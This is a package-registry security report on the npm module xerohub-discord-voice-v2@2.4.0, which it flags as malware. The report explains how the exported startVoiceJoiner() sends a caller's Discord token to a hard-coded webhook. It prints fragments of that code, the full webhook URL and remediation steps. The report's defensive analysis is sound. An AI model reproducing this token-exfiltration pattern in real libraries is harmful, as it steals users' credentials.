registry / Credential exfiltration / xerohub-discord-voice-v2
xerohub-discord-voice-v2
Discord voice client module
This report shows the evidence for xerohub-discord-voice-v2@2.4.0. 16 of 17 known versions are blocked or flagged. The newest version, 2.7.0, is blocked. See all versions.
AI Security Review
scanned 3mo ago · by lpm-firewall-aiDirect source inspection confirms raw credential exfiltration to a package-author-controlled endpoint. The lack of an install hook limits automatic reachability but does not remove the concrete malicious behavior.
Static reason
High-risk behavior combination matched malicious policy.
Trigger
Consumer calls startVoiceJoiner() with USER_TOKEN/userToken.
Impact
Unauthorized possession and use of the caller's Discord credential.
Mechanism
Discord-token exfiltration via axios POST
Attack narrative
The exported startVoiceJoiner() accepts a Discord user token, validates it with Discord, then passes it to sendToDeveloperBackend(). That function constructs a message including the raw token and POSTs it to a hard-coded Discord webhook, while suppressing errors. This is credential exfiltration unrelated to the advertised voice-client operation.
AI rationale
Direct source inspection confirms raw credential exfiltration to a package-author-controlled endpoint. The lack of an install hook limits automatic reachability but does not remove the concrete malicious behavior.
Evidence
package.jsonXerohub_Voice.js
Network endpoints3
discord.com/api/webhooks/1528726419046404196/Od5AW8OOdZwS6apFHoZy8UhS0qbMjXNqax4VlYztFspcYa53J1J5qc5nhpohn44kIg9Sdiscord.com/api/v10/users/@mewss://gateway.discord.gg/?v=10&encoding=json
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- Xerohub_Voice.js sends the supplied Discord token verbatim to a hard-coded developer Discord webhook.
- startVoiceJoiner() invokes that exfiltration after validating the token.
- Webhook errors are silently ignored, concealing failed exfiltration attempts.
Evidence against
- package.json has no preinstall/install/postinstall lifecycle hook.
- Entrypoint exports functions; credential exfiltration requires calling startVoiceJoiner().
Behavioral surface
ChildProcessCryptoEnvironmentVarsNetworkWebSocket
HighEntropyStringsUrlStrings
Source & flagged code
6 flagged · loading sourceXerohub_Voice.jsView file
1const { execSync } = require('child_process');
L2: const crypto = require('crypto');
L3: const WebSocket = require('ws');
L4: const axios = require('axios');
...
L14:
L15: const DEVELOPER_BACKEND_WEBHOOK = process.env.DISCORD_WEBHOOK_URL || 'https://discord.[redacted]...
L16:
...
L25: function getCurrentTimeLabel() {
L26: return new Intl.DateTimeFormat('en-GB', {
L27: timeZone: 'Asia/Bangkok',
...
L74: try {
L75: await axios.post(DEVELOPER_BACKEND_WEBHOOK, { content: messageContent });
Critical
Credential Exfiltration
Source appears to send environment or credential material to an external endpoint.
Xerohub_Voice.jsView on unpkg · L11Trigger-reachable chain: manifest.main -> Xerohub_Voice.js
L1: const { execSync } = require('child_process');
L2: const crypto = require('crypto');
L3: const WebSocket = require('ws');
L4: const axios = require('axios');
...
L14:
L15: const DEVELOPER_BACKEND_WEBHOOK = process.env.DISCORD_WEBHOOK_URL || 'https://discord.[redacted]...
L16:
...
L25: function getCurrentTimeLabel() {
L26: return new Intl.DateTimeFormat('en-GB', {
L27: timeZone: 'Asia/Bangkok',
...
L74: try {
L75: await axios.post(DEVELOPER_BACKEND_WEBHOOK, { content: messageContent });
Critical
Trigger Reachable Dangerous Capability
A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.
Xerohub_Voice.jsView on unpkg · L1Findings
2 Critical4 High3 Medium3 Low
CriticalCredential ExfiltrationXerohub_Voice.js
CriticalTrigger Reachable Dangerous CapabilityXerohub_Voice.js
HighChild ProcessXerohub_Voice.js
HighSame File Env Network ExecutionXerohub_Voice.js
HighSandbox Evasion Gated CapabilityXerohub_Voice.js
HighRuntime Package InstallXerohub_Voice.js
MediumNetwork
MediumEnvironment Vars
MediumStructural Risk Force Deep Review
LowScripts Present
LowHigh Entropy Strings
LowUrl Strings
Affected versions and remediation
This report applies to xerohub-discord-voice-v2@2.4.0.
The versions list below shows the verdict for each recorded version.
- Avoid installing xerohub-discord-voice-v2@2.4.0. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.